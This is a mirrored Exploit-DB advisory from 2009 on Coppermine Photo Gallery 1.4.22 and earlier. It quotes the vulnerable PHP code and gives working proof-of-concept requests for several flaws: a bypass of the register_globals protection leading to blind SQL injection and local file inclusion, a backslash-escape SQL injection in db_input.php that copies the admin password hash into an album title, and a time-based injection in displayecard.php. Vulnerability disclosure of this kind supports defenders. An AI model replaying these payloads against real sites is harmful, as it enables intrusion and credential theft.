- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 8713
- Проверка EDB
-
- Пройдено
- Автор
- GIREX
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- null
- Дата публикации
- 2009-05-18
Код:
Author: girex
Site: http://girex.altervista.org/
CMS: Coppermine Photo Gallery <= 1.4.22
Coppermine Foto Gallery suffers from different vulnerabilities.
There is a Local File Inclusion and a Blind SQL Injection working with
register_globals = On and magic_quotes_gpc = Off
and
a SQL Injection working in case of registration is enabled and a user can create/modify albums
(default setting if registration is enabled) and php.ini regardless
and
a Blind SQL Injection when is enabled the ecard logging system
(that is not a default configuration) and php.ini regardless
Let's see how do they work...
-------------------------------------------------------------------------------------------
Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.
I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this
Proof of Concepts.
Let's see the anti-register_globals protection and how to bypass it...
File: /includes/init.inc.php - lines: 42-65
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger');
if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') {
$register_globals_flag = true;
} else {
$register_globals_flag = false;
}
if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
}
}
Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off
This protection is easily bypassable defining GLOBALS vars via GET or via POST.
Example: index.php?GLOBALS[dummy_example]=damn
It defines the global var dummy_example.
Let's see how to exploit it...
File: ./thumbnails.php - lines: 79-
if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort'];
if (isset($_GET['cat'])) $cat = (int)$_GET['cat']; <== bypass the int cast
if (isset($_GET['album'])) $album = $_GET['album'];
...
if (is_numeric($album)) {
...
} else {
$album_set_array = array();
if ($cat == USER_GAL_CAT)
$where = 'category > ' . FIRST_USER_CAT;
else
$where = "category = '$cat'";
$result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where"); <== Vulnerable query
Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23 true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23 false
-------------------------------------------------------------------------------------------
It's also possible to obtain a local file inclusion overwriting $USER array and in particular
$USER['lang'] vars...
File: /include/functions.inc.php - lines: 128-135
function user_get_profile()
{
global $CONFIG, $USER;
if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
$USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
$USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________'); <== we bypass it
}
if (!isset($USER['ID']) || strlen($USER['ID']) != 32) {
list($usec, $sec) = explode(' ', microtime());
$seed = (float) $sec + ((float) $usec * 100000);
srand($seed);
$USER=array('ID' => md5(uniqid(rand(),1)));
} else {
$USER['ID'] = addslashes($USER['ID']);
}
if (!isset($USER['am'])) $USER['am'] = 1;
}
File: /includes/init.inc.php - lines: 318-346
if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
}
elseif ($CONFIG['charset'] == 'utf-8') <== default configuration
{
include('include/select_lang.inc.php');
if (file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = $USER['lang'];
}
}
else
{
unset($USER['lang']);
}
if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
{
unset($CONFIG['default_lang']);
}
if (!file_exists("lang/{$CONFIG['lang']}.php"))
$CONFIG['lang'] = 'english';
// We load the chosen language file
require "lang/{$CONFIG['lang']}.php"; <== vulnerable include
Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off
GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close
This will include README.txt, if register_globals=on magic_quotes_gpc=off
and if User-Agent and Accept-Language headers are not set. (see code)
-------------------------------------------------------------------------------------------
When registration are enabled and a user can create/modify albums with password is possible
to obatain a blind sql injection php.ini regardless.
File: ./db_input.php
$event = isset($_POST['event']) ? $_POST['event'] : $_GET['event'];
switch ($event) {
...
case 'album_update':
if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in
$aid = (int)$_POST['aid'];
$title = addslashes(trim($_POST['title']));
$category = (int)$_POST['category'];
$description = addslashes(trim($_POST['description']));
$keyword = addslashes(trim($_POST['keyword']));
$thumb = (int)$_POST['thumb'];
$visibility = (int)$_POST['visibility'];
$uploads = $_POST['uploads'] == 'YES' ? 'YES' : 'NO';
$comments = $_POST['comments'] == 'YES' ? 'YES' : 'NO';
$votes = $_POST['votes'] == 'YES' ? 'YES' : 'NO';
$password = $_POST['alb_password']; <== this var is not addslashed
$password_hint = addslashes(trim($_POST['alb_password_hint']));
$visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility;
if (!$title) cpg_die(ERROR, $lang_db_input_php['alb_need_title'], __FILE__, __LINE__);
if (GALLERY_ADMIN_MODE) {
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', category='$category', thumb='$thumb', uploads='$uploads', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', alb_password_hint='$password_hint', keyword='$keyword' WHERE aid='$aid' LIMIT 1";
} else {
$category = FIRST_USER_CAT + USER_ID;
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', thumb='$thumb', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', <== vulnerable query alb_password_hint='$password_hint',keyword='$keyword' WHERE aid='$aid' AND category='$category' LIMIT 1";
}
$update = cpg_db_query($query);
$_POST['alb_password'] is not addslashed before being used in a query.
You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php...
File: /include/init.inc.php
// Do some cleanup in GET, POST and cookie data and un-register global vars
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
...
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
...
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
...
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of
$_POST['alb_password'] and execute SQL in $_POST['alb_password_hint'] parameter.
Here's a Proof of Concept:
NOTE: - registration must be enabled and an user must can create/modify albums
- works regardless of php.ini settings
- Log in with your user credential
- Create an album with password
- Do this request:
POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded
event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23
You will set the admin's password (user with user_id=1) as the title of your album.
-------------------------------------------------------------------------------------------
And we have also a Blind SQL Injection with a specific configuration of coppermine...
File: ./displayecard.php - lines 26-38
if (!isset($_GET['data'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__);
$data = array();
$data = @unserialize(@base64_decode($_GET['data']));
// attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match
if ((!is_array($data)) && $CONFIG['log_ecards'] && (strlen($_GET['data']) > 12)) {
$result = cpg_db_query("SELECT link FROM {$CONFIG['TABLE_ECARDS']} WHERE link LIKE '{$_GET['data']}%'");
if (mysql_num_rows($result) === 1) {
$row = mysql_fetch_assoc($result);
$data = @unserialize(@base64_decode($row['link']));
}
}
Here's a Proof of Concept:
NOTE: - $CONFIG['log_ecards'] must be set to 1 (and this is NOT a default config)
- works regardless of php.ini settings
Make an injection with this php code:
<?php
$injection = "%' OR BENCHMARK(999999, md5(0))#";
$injection = urlencode(base64_encode(serialize($injection)));
?>
Then:
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1
girex
# milw0rm.com [2009-05-18]- Источник
- www.exploit-db.com
